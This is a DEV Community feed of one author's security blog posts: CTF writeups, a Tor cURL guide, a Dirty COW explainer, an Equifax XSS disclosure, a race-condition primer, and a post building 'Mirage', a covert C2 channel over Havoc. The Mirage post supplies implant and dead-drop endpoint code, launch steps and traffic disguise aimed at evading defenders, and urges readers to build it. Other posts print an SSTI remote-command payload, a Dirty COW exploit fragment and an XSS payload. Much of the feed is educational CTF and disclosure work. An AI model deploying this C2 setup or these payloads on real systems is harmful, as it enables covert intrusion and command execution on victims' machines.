DEV Community: Advik Kant

RIFFHACK: Black Market Break-In CTF Writeup

Advik Kant — Tue, 23 Jun 2026 06:47:44 +0000

RIFFHACK: Black Market Break-In ran from 19th to 22nd June 2026, four days of digging through challenges across categories. Went in without much of a plan, just picked off whatever looked interesting, and ended up clearing 4 of them by the end. Mixed bag of categories, mixed bag of pain. Writeups for each one below.

Moon Prism Packet Secrets

Description

A late-night idol rehearsal leak includes one selfie and a whisper of intercepted packets. The photo looks harmless, but the gradient refuses to keep the guardians’ secret quiet.

we are given two files- one pcap and one image file

there is trailer data after ending so I did binwalk and got this, a diary_entry.txt file.

after opening the diary_entry.txt file, I got the flag.

Aperture Science Test Chambers

Description

GLaDOS has locked the flag behind twenty Aperture Science test chambers. Each chamber is an illuminated panel grid — pressing any panel toggles it and all its immediate neighbours. Find the sequence of presses that extinguishes every panel in each chamber, and she will release what you’ve earned.

After connecting via nc, I saw this

basically we needed to solve 20 of these chambers according to the algorithm given in the description and it will get us the flag so I just vibe coded a python script to do all the stuff and we got the flag.

"""
Automated solver for the GLaDOS Aperture Lights Out CTF.
Connects via raw socket, solves each chamber, submits, loops through all 20.
"""
import socket
import re
import sys
import time
HOST = "IP_ADDRESS"
PORT = PORT_NUMBER
def solve_lights_out(grid, n):
    size = n * n
    A, b = [], []
    for r in range(n):
        for c in range(n):
            mask = 1 << (r * n + c)
            for dr, dc in ((-1, 0), (1, 0), (0, -1), (0, 1)):
                nr, nc = r + dr, c + dc
                if 0 <= nr < n and 0 <= nc < n:
                    mask |= 1 << (nr * n + nc)
            A.append(mask)
            b.append(grid[r][c])
    pivot_row_for_col = {}
    cur = 0
    for col in range(size):
        pivot = next((r for r in range(cur, size) if (A[r] >> col) & 1), None)
        if pivot is None:
            continue
        A[cur], A[pivot] = A[pivot], A[cur]
        b[cur], b[pivot] = b[pivot], b[cur]
        for r in range(size):
            if r != cur and (A[r] >> col) & 1:
                A[r] ^= A[cur]
                b[r] ^= b[cur]
        pivot_row_for_col[col] = cur
        cur += 1
        if cur == size:
            break
    for r in range(cur, size):
        if A[r] == 0 and b[r] == 1:
            raise ValueError("Unsolvable grid, check parsing")
    x = [0] * size
    for col, row in pivot_row_for_col.items():
        x[col] = b[row]
    return [(i // n, i % n) for i in range(size) if x[i]]
def recv_until(sock, buf, markers, timeout=10):
    """Read until any marker string appears in the accumulated buffer, or timeout."""
    sock.settimeout(timeout)
    start = time.time()
    while True:
        if any(m in buf for m in markers):
            return buf
        try:
            chunk = sock.recv(65536)
            if not chunk:
                return buf
            buf += chunk.decode(errors="replace")
        except socket.timeout:
            return buf
        if time.time() - start > timeout:
            return buf
def parse_grid(text):
    m = re.search(r"GRID\s+(\d+)\s*\n((?:[01](?:\s+[01])*\s*\n)+)", text)
    if not m:
        return None, None
    n = int(m.group(1))
    rows_text = m.group(2).strip().splitlines()
    rows_text = rows_text[-n:]
    grid = [[int(x) for x in row.split()] for row in rows_text]
    return grid, n
def main():
    sock = socket.create_connection((HOST, PORT), timeout=15)
    full_buf = ""
    chamber = 0
    while chamber < 20:
        full_buf = recv_until(sock, full_buf, ["AWAITING SOLUTION", "FLAG", "flag{"], timeout=10)
        print(full_buf[len(full_buf) - full_buf[::-1].find("\n--\n"[::-1]) if False else 0:], end="")
        if "flag{" in full_buf.lower() or "FLAG" in full_buf:
            print("\n[+] FLAG FOUND")
            break
        grid, n = parse_grid(full_buf)
        if grid is None:
            print("[-] Could not parse grid, stopping")
            break
        chamber += 1
        presses = solve_lights_out(grid, n)
        print(f"\n[+] Solved chamber {chamber}: {n}x{n} grid, {len(presses)} presses")
        out_lines = [f"PRESSES {len(presses)}"]
        out_lines.extend(f"{r} {c}" for r, c in presses)
        payload = ("\n".join(out_lines) + "\n").encode()
        sock.sendall(payload)
        full_buf = ""  # reset buffer, next recv_until will catch the response to this submission
    # drain whatever's left (flag usually shows right after final OK)
    final = recv_until(sock, "", ["FLAG", "flag{"], timeout=5)
    if final.strip():
        print(final)
    sock.close()
if __name__ == "__main__":
    main()

Vault-Tec Overseer Terminal

Description

A RobCo Termlink for Vault 101 lets residents personalize a terminal greeting. Enroll as an ordinary resident and recover the Overseer’s sealed directive.

As we can see if we inject basic {{ 7*7 }} SSTI payload, the output shows 49 meaning its vulnerable to SSTI.

Let’s test the below SSTI payload and see what output we get.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}
> app.py requirements.txt

there are two files app.py and requirements.txt. The flag is most probably going to be in app.py so lets cat app.py and see if we can find the flag.

There we go, we have found the flag in app.py file.

Ghostbusters Template Possession

Description

Spengler’s Oscillation Translator is warping the containment HUD in impossible ways. The console still seems eager to reveal what the filters were meant to hide.

This challenge is also similar to the previous ones where we have to input something inside {{ }} and it will render and show the output.

So, ofcourse I tested again for SSTI and low and behold it was once again vulnerable to SSTI. The difference here was that in this some keywords like “self” and others were blocked. So in order to leak the files present in the directory via SSTI we will use another keyword that shouldn’t be blocked that is “cycler”.

Let’s see that by using the “id” command. As we can see, the “id” command worked and we are getting

uid=0(root) gid=0(root) groups=0(root)

Let’s test the below “ls” SSTI payload and see what output we get.

Again there are two files app.py and requirements.txt. The flag is most probably going to be in app.py so lets cat app.py and see if we can find the flag.

And there we go, we have found the flag.

Conclusion

That wraps up RIFFHACK: Black Market Break-In. 4 solves out of however many I attempted. For me CTFs are less about the flag and more about the detour, and this one had plenty. Thanks for reading;)

Bypass Me: PicoCTF writeup

Advik Kant — Thu, 18 Jun 2026 06:17:45 +0000

Chall description

Basically we are given a binary that gives us 3 chances to enter password and we need to reverse engineer the correct password after that we would be able to open the file and get the flag.

Getting the flag

When we open the instance, we see that we need to connect to a ssh server where the binary is served.

Since I want to use my ghidra to see the decompiled C code, I used the scp command to transfer the binary to my local machine.

scp -P 58636 ctf-player@foggy-cliff.picoctf.net:/home/ctf-player/bypassme.bin ./

After opening the binary in Ghidra we see that this is the most crucial part of the binary where the strcmp() compares our entered password to the hardcoded password. So if we set up a breakpoint at the strcmp() function using gdb we can see the hardcoded password its being compared to and enter it to get the flag

BOOM! we get the hardcoded password as "SuperSecure" so lets enter it and get the flag.

We successfully got the flag!!

Secure Database Password: PicoCTF writeup

Advik Kant — Wed, 17 Jun 2026 10:36:00 +0000

Secure_Database_Password

Challenge Description

running through the challenge

lets open the ghidra and reverse engineering the binary we are given in the chall (./system_out). After opening the binary in ghidra the most important part of decompilation code is this part.

as we can see that there is a make_secret() function that takes a string and whatever the function returns is being compared to the hash we enter and if it matches it opens flag.txt file.

BOOM! we just need to go this make_secret() function and see what this local_f8 is and then we can get the flag.

as we can see in the make_secret() function it takes this hardcoded obf_bytes array and xors each digit with 0xaa and then we call another function hash()

this hash function looked familiar and when I googled about it I came to know it was known as the djb2 algo. OK so lets plan

We can put a breakpoint at this hash function this way we can see the string before undergoing the hash function. Once we capture this string we will just apply the djb2 decode and hopefully get the flag

ok so we get this string “iUbh81!j*hn!” , lets apply the algorithm on this string for that I vibecoded this python script to make our work easier

def djb2(s):
    h = 5381
    for c in s.encode():
        h = (h * 33 + c) & 0xFFFFFFFFFFFFFFFF
    return h

print(djb2("iUbh81!j*hn!"))

# we get 15237662580160011234 as output

pasting this string as our hash we successfully get the flag

I Built a Hidden C2 Channel in Python With Havoc & It Was Easier Than I Expected

Advik Kant — Tue, 09 Jun 2026 07:28:58 +0000

Most people think building a C2 server is some kind of dark arts only performed by elite level hackers. In reality, its actually pretty simple if you know basic python HTTP libraries you can most likely design yourself a working custom C2 channel. I know because I just did it and I'm an average college cybersecurity enthusiast.

Before go into major details, lets get into some fundamentals (I'll try not to make it boring)

Basic Fundamentals

What is a C2 (Command & Control) Server?

Let's understand the concept of C2 server through an analogy.

The Underground Drop: How C2 (Command and Control) Servers Actually Work

Most people think C2 infrastructure is some advanced spy-level operation only nation state threat actors touch. Its not. Its just a synchronized anonymous delivery system hiding in plain sight, and once you get the mental model down it actually makes a lot of sense. Here is the analogy I used to wrap my head around it.

The four players involved

The Designer (Attacker)

You sit in a hidden workshop. You never talk to anyone directly. You just write orders, things like "check what files are here" or "tell me what user is logged in", and leave them in an outgoing tray on your desk.

The Storefront (C2 Server)

Looks like a completely normal website from the outside. But tucked in the back room are two secret drawers. One for leaving new orders. One for picking up results. The storefront does not know who the designer is, does not know who the buyers are. It just holds envelopes.

The Courier (Handler/Listener)

Because the designer never leaves the workshop, a courier handles the commute. They check the outgoing tray, run to the storefront, slip the order into the back room drawer, and check if anything was left behind. If something is there, they carry it back.

The Buyer (Implant)

This is the collector already moving through the city, the malware running on the compromised machine. Every few seconds they casually stroll past the storefront, check the back room drawer, and if an order is waiting they go execute it and drop the results back for the courier to collect.

To summarise Command and Control (C2) is the bidirectional lifecycle of an intrusion. Command is the top-down transmission of malicious intent (the Designer writing an order and the Courier delivering it to the drawer). Control is the bottom-up persistence and feedback loop (the Implant executing the order, returning the stolen data, and checking back infinitely for the next task). The C2 Server (Storefront) is the blind, neutral ground that allows this loop to happen without the target ever discovering where the workshop is hidden.

Hackers often times set up their C2 server on the infected victim device in order to execute commands and exploit it. This way they can also spy on a large number of computer devices as well.

What is a C3 (Command, Control & Communication) server?

A C3 server is just a custom implementation of a C2 server, its basically used to implement the most important factor "security" on top of the C2 server which makes it extremely stealthy. Lets take the help of the same analogy.

The Disguise Layer (C3 Channel)

This is not a new person in your network. It is the specialized tradecraft, the specific disguises, and the hidden routes used by your existing players to make sure the town guards never catch on to the operation. While C2 sets up the business, C3 is the camouflage that keeps it invisible.

The Secret Code (Data Serialization)

The buyer and courier do not walk around carrying plain text notes that say execute command. They translate every single message into a highly specific shorthand cipher. They wrap their letters in custom headers and convert the entire package into an innocent-looking string of text. To anyone snooping, it looks like random cargo data, not operational commands.

The Curated Display (Transport Obfuscation)

The storefront hides its secret drawers behind a high-end storefront styled with premium typography and artwork. When the buyer stops by, they blend in perfectly with standard foot traffic. To a lookout watching the street, the buyer simply looks like a regular customer browsing a public luxury imports catalog, completely masking the secret exchange happening in the back drawer.

The Alternative Routes (Pluggable Channels)

The best part of this setup is that the transport method is entirely swappable. If the guards start watching the anime storefront, the designer does not rewrite the business model. They just tell the courier and buyer to switch routes. Instead of the shop drawer, they start hiding their coded notes inside the public comments of a community bulletin board or tucked inside an ordinary corporate complaints mailbox. The orders stay exactly the same, but the tracking trail completely vanishes.

The Backbone: Setting Up the Havoc Framework

Before diving into the custom stealth mechanics, you need a solid core engine to handle the heavy lifting. For this project, that backbone is Havoc. Now a simple question may arise in your mind, why do we need to use Havoc?

Let's be real: building a full-scale C2 framework from scratch is a massive, time-consuming headache. You have to manually code session databases, design a multi-user interactive console, handle complex task queues, and write code generation engines just to get a basic connection. It makes way more sense to use Havoc because it provides a highly stable, ready to go engine out of the box, allowing you to focus your energy entirely on the fun part: custom stealth mechanics.

Havoc gives you a powerful multi-session Teamserver backend, an interactive management console, a built-in script builder, and an official Service API that allows developers to register and manage completely custom agent types natively.

In order to use the havoc framework, we would need to download it using the github repo:

HavocFramework / Havoc

The Havoc Framework

Havoc

Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.

Quick Start

Please see the Wiki for complete documentation.

Havoc works well on Debian 10/11, Ubuntu 20.04/22.04 and Kali Linux. It's recommended to use the latest versions possible to avoid issues. You'll need a modern version of Qt and Python 3.10.x to avoid build issues.

See the Installation docs for instructions. If you run into issues, check the Known Issues page as well as the open/closed Issues list.

Features

Client

Cross-platform UI written in C++ and Qt

Modern, dark theme based on Dracula

Teamserver

Written in Golang

Multiplayer
Payload generation (exe/shellcode/dll)
HTTP/HTTPS listeners
Customizable C2 profiles
External C2

Demon

Havoc's flagship agent written in C and ASM

Sleep Obfuscation via Ekko, Ziliean or FOLIAGE
x64 return address spoofing
Indirect Syscalls for Nt* APIs
SMB support
Token vault
Variety of built-in post-exploitation commands
Patching…

View on GitHub

I won't go too much into detail on how to download it and set it up, because someone already wrote a medium article about it. The writer also talked more in depth about C2 frameworks, highly recommend you to read the article.

Mirage: My C3 Server Extension Layer Hiding in Plain Sight

So after going over the havoc framework we can now dive into how I built my hidden C2 server. So lets get started officially.

Mirage is the name of my custom C3 (Custom Communication Channel) built on top of the Havoc C2 Framework. It routes agent traffic covertly through a public-facing website turning ordinary HTTP endpoints into a fully functional command and control channel.

Before I get started here's my github repo for the Mirage project so you can check it out here.

Let's start with the project structure so you know what we're working with before diving into the architecture.

mirage/
├── main.py        # Flask website + hidden dead drop endpoints
├── agent.py       # The implant that runs on the victim machine
├── handler.py     # Registers custom agent with Havoc + handles

Architectural Breakdown of My Mirage Setup

Firstly we have a public facing web server which is assumed to be compromised and runs agent.py, which sets up secret memory drawers (/api/telemetry and /api/sync) behind a normal looking website which is hosted on localhost:4696

This means the front end interface acts as a perfect decoy, letting regular users browse while the back end endpoints function as an asynchronous mailbox queue where commands and results can sit safely without a direct connection.

The website is built using simple flask in main.py, you can customise and build the website however you want. Because the core routing relies on standard Python dictionaries and web deques, you can wrap any layout, HTML templates, or CSS styling around it.

For this specific build, I styled it as a clean, minimal Tokyo anime import shop complete with custom typography to ensure any passive network analysis just sees standard web traffic to a digital catalog.

Let's see how each component of our Havoc C2 framework interacts with the compromised website with the help of below flow chart.

The Data Lifecycle: Step by Step Command Flow

Every time an operator interacts with the terminal session, the data takes a structured, asynchronous journey through the pipeline

1. Command Generation: The operator types an operational command (like shell ls) directly into the interactive Havoc Teamserver session tab.
2. Task Queuing: The core Havoc client registers the user input and queues it up internally as a pending tasking frame.

3. Websocket Interception: Operating over Havoc's native Service API, handler.py receives the tasking package instantly via an authenticated websocket connection.

Havoc_python = python()
    print(os.getpid())
    print("[*] Connect to Havoc service API")

    havoc_service = HavocService(
        endpoint="wss://127.0.0.1:40056/service-endpoint",
        password="service-password"
    )

    print("[*] Register agent with Havoc")
    havoc_service.register_agent(Havoc_python)

    poller = Thread(target=Havoc_python._poll_flask, daemon=True)
    poller.start()
    print("[+] Poller thread started")

    while True:
        time.sleep(1)

4. The Drop-Off: The handler serializes the command, encodes it into a Base64 block, and pushes it up to the Compromised Website via a POST /api/sync request.

@app.route("/api/sync", methods=['POST'])
def listener_upload():
    data = request.json.get("data")
    if data:
        listener_to_agent.append(data)
    return jsonify({"status": "ok", "data": None})

5. The Asynchronous Poll: On its own distinct sleep interval, agent.py on the target machine beacons out to pull down requested commands.

    global agentid
    agentid    = get_random_string(4)
    sleeptime  = 5
    registered = ""
    outputdata = ""

    while registered != "registered":
        registered = register()
        if registered != "registered":
            print("[-] Registration failed, retrying...")
            time.sleep(5)

    print("[+] REGISTERED SUCCESSFULLY! DROPPING TO SHELL QUEUE.")

6. Command Retrieval: The agent requests waiting instructions from the web server via a standard GET /api/telemetry call, which pops the payload off the Flask queue.

@app.route("/api/telemetry", methods=['GET'])
def agent_download():
    if listener_to_agent:
        return jsonify({"status": "ok", "data": listener_to_agent.popleft()})
    return jsonify({"status": "ok", "data": None})

7. Execution & Return: The agent strips the formatting headers, drops the command into the local system shell, and passes the terminal response back up using a POST /api/telemetry upload.

@app.route("/api/telemetry", methods=['POST'])
def agent_upload():
    data = request.json.get("data")
    if data:
        agent_to_listener.append(data)
    return jsonify({"status": "ok"})

8. Collecting the Loot: The background synchronization thread inside handler.py checks back with the web server via GET /api/sync to see if any execution results are waiting.

@app.route("/api/sync", methods=["GET"])
def listener_download():
    if agent_to_listener:
        return jsonify({"status": "ok", "data": agent_to_listener.popleft()})  
    return jsonify({"status": "ok", "data": None})

9. Handshake Completion: The handler catches the returned Base64 string, translates it back into a raw binary buffer, and forwards the response frame back into Havoc's service backend.
10. UI Update: The session interface unmarshals the data stream, and the terminal output cleanly renders on the operator's monitoring screen.

The Two Functions That Power Everything

Mirage is built around two functions. Everything else, the registration, the task relay, the output handling, is abstracted away. These two are the only things you need to touch if you want to swap the channel.

def uploadData(data: str):
    """
    Receives a Base64 string.
    Send it anywhere -- HTTP POST, Discord webhook, S3 bucket, DNS query, whatever.
    """
    pass

def downloadData() -> str:
    """
    Poll your channel for incoming data.
    Return the raw Base64 string from the other side.
    """
    pass

Swap these out in both agent.py and handler.py and you have a completely different C2 channel. Some ideas:

Discord webhook - POST the blob as a message, poll the channel for replies
S3 bucket - write objects with a known key pattern, poll and delete on read
DNS - encode the blob in TXT record queries against a domain you control
Pastebin / GitHub Gist - create a paste, poll by URL
Steganography - hide the blob inside an image uploaded to Imgur

As long as what goes into uploadData comes back out of downloadData intact, the rest of Mirage works without a single line change.

The Deployment: Bringing Mirage to Life

When you are dealing with asynchronous C3 framework, the order of operations by which you run files is very important as wrong order can cause the entire pipeline to collapse

The Startup Routine

Here is the exact order you need to follow when launching the components across your workspace:

# 1. Start the core C2 teamserver backend
./havoc teamserver --profile ./profiles/havoc.yaotl

# 2. Fire up the Flask web storefront decoy
python main.py

# 3. Launch your custom service handler to bridge Havoc
python handler.py

# 4. Open the visual Havoc client UI to interact with your dashboard
./havoc client

# 5. Finally, execute the implant on the target machine
python agent.py

Analyzing the Operational Logs

When everything spins up correctly, your terminal screens should show a clean handshake passing from Havoc, through your Python service API, and down to the web relay.

The Handler Connection

When you launch handler.py, it instantly reaches out to open an authenticated WebSocket channel into Havoc's listener framework:

The Teamserver Backend

Over on the Havoc Teamserver terminal, you will see the framework recognize your custom C3 extension layer and seamlessly mount it onto the active session database:

The Secret Check-In

The moment agent.py executes on the victim machine, it runs its initialization routine. It queries the local host system details, bundles them up, and drops the registration package into the Flask web storage drawer.

The background poller thread inside handler.py catches the payload, parses the custom 12-byte framing header, and serves it up to the Teamserver:

Proof of Concept: Executing Commands Covertly

After setting up the entire pipeline for the C2 framework and hoping no errors pop up we can finally test it out. After opening the havoc client UI, we will see something like this

We can see different session id's that handler.py registers with Havoc. They match the random AgentID strings generated by the implant.

It accurately maps the system configurations fetched during the initial handshake, as we can see since I hosted my flask website on localhost internal ip address is being shown as 127.0.0.1

User is registered under Kali as I'm using a Kali VM and it spoofs the OS as Windows 10 (as hardcoded in our handler.py profile structure 10.0.1.0.19041) while correctly identifying the running process name as python.

Once we click on the agent ID and interact with it, a terminal where you can type commands will pop up. As we can see it says our clicked agent is registered. Now you can type any command like shell ls, shell cat /etc/passwd etc you want to execute on the victim's computer (which in this case the agent and the attacker machine are the same VM since we configured a loopback address (127.0.0.1) for demonstration purposes)

After entering our command and waiting for a few seconds, output of the command is shown on the terminal which means that our C2 framework is working correctly

Below is a full walkthrough video of Mirage in action from setting up the files to getting a live shell on the target machine.

image2url.com

The Cryptographic Disguise: Inside the Encoding Pipeline

Let's say if a normal implant executes a command on a victim's computer and sends it over a raw socket. This creates a network signature that can be easily tracked by various defensive SOC tools. Mirage prevents this by running every transmission through a multi-stage packaging, serialization, and translation pipeline.

To keep network monitors from spotting the traffic, data is systematically reshaped before it touches the wire. It goes through a simple four step disguise process.

1. The Wrapper: User types command (shell ls) and its wrapped in a clean JSON format {"task": "gettask", "data": "output"}
2. The Tag: A tiny 12-byte binary header is slapped onto the front. This header holds the packet size, validation keys, and the unique ID of the compromised machine.
3. The Clean Text: The entire packet is converted into a Base64 string. This strips away all suspicious code characters and null bytes, turning it into an innocent-looking block of standard text.
4. The Safe Delivery: This text block is placed inside a final web form request and sent over standard HTTP. To a network monitor, it looks exactly like an ordinary user filling out a form on an anime website. The network logs as you can see look like simple HTTP requests to disguise the malicious commands being sent by the C2 server.

Conclusion

And that's Mirage a dead drop C2 that hides in plain sight behind a fake Japanese import shop.

The core idea is very simple if the teamserver never talks to the agent directly, there's no direct connection to trace. Every byte of C2 traffic looks like normal web requests to a boring website. Blue team sees HTTP. You have a shell.

From here the rabbit hole goes deep. You can do many things like swapping the Flask dead drop for S3, DNS, Discord webhooks, or steganographic image uploads. The channel is just two functions. Everything else stays the same.

If you made it this far, go build something with it. The code is on GitHub here. Thanks for reading:)

No FA - PicoCTF Writeup: 2FA Bypass via Request Manipulation

Advik Kant — Thu, 26 Mar 2026 17:28:07 +0000

Walkthrough

The name of the challenge is No Fa, here’s the link: https://play.picoctf.org/practice/challenge/765?category=1&difficulty=2&page=1

Lets see the live instance

So we need some sort of login credentials to access the website

Lets see what we get in the linked files

here we have a sqlite users.db database dump containing USERNAME, USER EMAIL ID and HASHED PASSWORDS (these passwords seem to be unsalted meaning they can be easily cracked)

First I extracted all the usernames and hashed passwords cleanly

Some of these hashed passwords can be easily cracked via crackstation because they use commonly used passwords and are unsalted as I previously said. Let's pick one cred at random and test them in crackstation.

Bingo so we got the username and the password login creds
admin : apple@123
Now lets login with these creds, we are redirected to OTP verification

if we see the code properly given in the app.py file we will see that

the secret OTP is stored inside the session cookie and no server side validation is being done, so if we intercept the OTP request via burp and somehow manage to decode the session cookie we would be able to get the OTP and get access. Lets see how we do that

Since the application uses flask to create session cookies, we can use a tool like Flask unsign to decode the session cookie and get the OTP ( https://github.com/Paradoxis/Flask-Unsign)

flask-unsign --decode -c "YOUR_SESSION_COOKIE" {'logged': 'false', 'otp_secret': '8369', 'otp_timestamp': 1774541649.0009327, 'username': 'admin'}

Now we have got the OTP as 8369 we will enter this OTP and get access to the page

and voila we have access to the page and there's our beautiful flag.

Conclusion

There were two core security vulnerabilities that were implemented in this flask application

User passwords were stored as weak, unsalted hashes, making them trivially crackable via rainbow tables on sites like CrackStation
The 2FA mechanism had no server-side validation. The OTP field was enforced only on the client side, meaning the server never actually verified whether a valid OTP was submitted

Building a safer cURL using TOR

Advik Kant — Mon, 03 Nov 2025 17:46:03 +0000

Have you ever noticed that the running one simple cURL command can turn a private click into a series of public breadcrumbs like being visible to ISPs, DNS resolvers and anyone snooping the network. One way of making cURL command secure is by using TOR network.

Before we improve the cURL command, lets see a basic cURL command and see how it works.

Working of cURL

curl https://example.com

The above curl command is a simple GET request to the URL example.com. The command then retrieves HTML information about the page. Lets deep dive into this whole process, we will keep it simple and straight to the point.

1) cURL parses your commands and flags and determines which protocol to use based on it like HTTPS,FTP,HTTP etc.

2) The system resolver then looks up the hostname in your local DNS server to get the IP address. This is the part where DNS leakage can take place as the ISP can easily observe your DNS queries.

3) cURL then opens a TCP socket on the target IP address and does the usual TCP 3 way handshake(SYN,SYN-ACK,ACK).

4) If the URL uses HTTPS, a TLS handshake follows. The client and server negotiate ciphers, validate the server certificate (SNI may be sent in plaintext), and derive encryption keys. If certificate validation fails, curl reports an error.

5) cURL then constructs the actual HTTP request, add headers like User-Agent, Host etc. and sends it over the TCP/TLS channel.

6) Server then responds to the request and adds its own headers with its own status code.

So that was a quick rundown of how cURL works, however there are quite a few problems that can happen when the above process takes place like
1) DNS Leaking
2) Snooping of information by the ISP
3) Man in the middle (MITM) attacks
4) Unencrypted traffic exposure when using HTTP instead of using HTTPS

Lets see how we can improve and mitigate these problems while using TOR network, we will go over the whole implementation of TOR network over the curl command in C.

TOR implementation of cURL in C aka TorConnect

So in order implement a simple cURL command in C, we need to use libcurl. It's a simple client side library that basically powers the main component of the cURL command. libcurl and its documentation (https://curl.se/libcurl/) will basically help us to set up the whole TOR network.

for the next step we will set up a local TOR proxy using SOCKS5 instead of using DNS in the normal version of cURL. We will set up this local TOR proxy at our localhost (127.0.0.1:9050). This basically prevents DNS leaks and avoids MITM attacks. In order to set this up we will use the following commands.

curl_easy_setopt(curl,CURLOPT_PROXY,"127.0.0.1:9050"); // sets up local TOR proxy       

curl_easy_setopt(curl,CURLOPT_PROXYTYPE,CURLPROXY_SOCKS5_HOSTNAME); // prevents DNS leaking

Make sure that you have TOR installed in your system.

sudo apt update
sudo apt install tor

Now that we have TOR network set up we can just use this command to send request to the webpage, this request will travel securely through the TOR network tunnel.

curl_easy_setopt(curl,CURLOPT_URL,"https://example.com");

Security note: Tor anonymizes routing but does not provide end-to-end encryption outside the Tor network. So we should always use HTTPS and keep TLS verification enabled (CURLOPT_SSL_VERIFYPEER / CURLOPT_SSL_VERIFYHOST) to prevent MITM at the exit node.

Those are the main steps involved in anonymizing your cURL. If you’re interested in viewing the complete source code, check out my GitHub repository: TorConnect

Conclusion

TorConnect is a small step toward making network requests safer and more private by routing traffic through the Tor network, preventing DNS leaks, and hiding your real IP. Of course, it’s not perfect. Using Tor can slow down your connection, and some websites may block Tor exit nodes altogether. Still, TorConnect shows that privacy and usability can coexist if built carefully. It’s a reminder that staying anonymous online isn’t just about using the right tools, but also about using them wisely.

Dirty COW exploit that broke linux in 2016

Advik Kant — Wed, 29 Oct 2025 18:16:28 +0000

Introduction-

You may have heard of dirty COW (CVE-2016-5195) exploit if you are a seasoned veteran in the red teaming space. So what’s the big deal with it. Well back in 2016, this 150 lines of C code exploit would allow any attacker to gain root access to your Linux system with just exploiting a simple race condition.

Lets see what this vulnerability is all about

What is COW (Copy on Write)-

In Linux processes which share the same memory are treated as read-only mode as long as they point to the same page. When one of them wants to write to these only then the Linux kernel makes private copy of the file for that particular process. This is referred to as COW (Copy-on-Write).

Dirty COW vulnerability-

Now imagine if we want to write to /etc/passwd file on a Linux which stores user account information but we only have read permission and not any write permission how do we exploit this COW property.

Exploitation Overview-

Well here is how some attackers thought about exploiting it.

Map the target file like (/etc/passwd) into memory so that we can exploit the COW property.
Spawn two racing threads.

i) Thread A- tries to write into that memory but obviously kernel recognizes this and tries to get it the private copy.

ii) Thread B- Use madvise() function, this function basically tells the kernel to invalidate or remove the same memory page.

void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
        c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}

This creates a race condition for the kernel as one thread is requesting a COW for the page and the other thread is trying to invalidate it.
In the midst of this confusion, the kernel instead of handing the private copy of the page to the user, grants the write operations on the file.
This way we can get a write operation on the /etc/passwd file and create a new root user and get full access to the Linux system. Here's the full exploit code https://www.exploit-db.com/exploits/40839.

Fix and Patches-

So in order to fix this mess they-

tightened COW logic-

this basically ensured that the kernel would always create the private copy of memory page first no concurrent function like madvise() could interrupt it.

Follow up architecture patches-

Some CPU architectures had some race conditions which were fixed.

Reflected XSS in Equifax Search Endpoint

Advik Kant — Tue, 19 Aug 2025 13:15:13 +0000

In December 2022, a security researcher reported a reflected cross-site scripting (XSS) vulnerability affecting the search functionality on the Equifax website. The issue was submitted through the company’s vulnerability disclosure program on HackerOne.

Vulnerability Description

The vulnerable endpoint was:

https://www.equifax.com/personal/help/search?search=<input>

When a user entered a search term, the application reflected that value directly into a JavaScript function on the returned page. For example, the word broook appeared in the following script block:

<script type="text/javascript">
  window.onload = function(e){
    Analytics.trackEvent('emptySearch',{internalSearchTerm: "broook" , numOfSearchResultsReturned: 0});
  }
</script>

Because the search parameter was not properly sanitized, an attacker could inject arbitrary JavaScript code.

Proof of Concept

The researcher supplied a payload that modified the parameters of the Analytics.trackEvent function:

%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b

When decoded, this payload injected an array mapping function that executed alert(7). The final vulnerable script looked like this:

<script type="text/javascript">
  window.onload = function(e){
    Analytics.trackEvent('SEARCHRETURNED',{internalSearchTerm: "" , internalSearchTerm: [7].map(alert) , numOfSearchResultsReturned: "b" , numOfSearchResultsReturned: 167});
  }
</script>

This confirmed that the input was being executed as JavaScript in the browser.

Impact

A successful exploit would allow an attacker to execute arbitrary JavaScript in the context of a victim’s browser session. This could lead to theft of cookies, session hijacking, or other malicious actions depending on the attacker’s goals.

Conclusion

This case highlights the risks of directly embedding user-controlled input into JavaScript code without proper sanitization or encoding. Reflected XSS vulnerabilities are still common and can have serious consequences when exploited on high-profile sites. Proper input handling and output encoding remain essential defenses.

One Bug, Many Faces: Understanding Every Type of Race Condition Vulnerability

Advik Kant — Sat, 02 Aug 2025 06:42:37 +0000

What is Race Condition

Imagine that you are planning to go to a movie at 5 pm. You inquire about the availability of the tickets at 4 pm. The representative says that they are available. You relax and reach the ticket window 30 minutes later, but then to your horror all the tickets get sold. The problem here was in the duration between the check and the action. You inquired at 4 and acted at 4:30. In the meantime, someone else grabbed the tickets. That's a race condition.

Technically speaking, Race condition occurs when multiple threads read and write the same variable i.e. they have access to some shared data and they try to change it at the same time. In such a scenario threads are “racing” each other to access/change the data. This is a major security vulnerability where an attacker can extract sensitive information by exploiting the race window.

In this blog we will be talking about race condition vulnerabilities in various web scenarios. Lessgoo

Limit Overrun race conditions

its the most well known type of race condition which enable you to exceed any limit imposed by the business logic of the example. Lets take an example so that things can become more clear.

Consider an online store that lets you enter a promotional code during checkout to get a one-time discount on your order.

To apply this discount, the application may perform the following high-level steps:

Check that you haven't already used this code.
Apply the discount to the order total.
Update the record in the database to reflect the fact that you've now used this code.

If you later attempt to reuse this code, the initial checks performed at the start of the process should prevent you from doing this

Now consider what would happen if a user who has never applied this discount code before tried to apply it twice at almost exactly the same time:

As you can see, the application transitions through a temporary sub-state; that is, a state that it enters and then exits again before request processing is complete. In this case, the sub-state begins when the server starts processing the first request, and ends when it updates the database to indicate that you've already used this code. This introduces a small race window during which you can repeatedly claim the discount as many times as you like. So by sending two parallel request at the same time we can exploit the race window and apply the discount code twice. Now imagine sending more than 2 of these parallel requests. The discounted code will get added up and ultimately you can buy the product at a very cheap price.

The primary challenge is timing the requests so that at least two race windows line up, causing a collision. This window is often just milliseconds and can be even shorter.

Detecting and Exploiting Limit Overrun Race Conditions with Burp Suite

Race condition vulnerabilities, particularly those involving business logic bypasses like limit overruns, are notoriously difficult to exploit reliably. The primary challenge lies in the extremely narrow timing window, often just a few milliseconds, during which two or more concurrent requests must be executed in near-perfect synchronization. Traditionally, this has required either precise scripting or specialized tools with limited visibility and flexibility.

However, recent advancements in Burp Suite’s Repeater tool—particularly the updates introduced in version 2023.9—have significantly improved a pentester's ability to detect and exploit race conditions with high precision.

Introducing Parallel Request Support in Burp Repeater

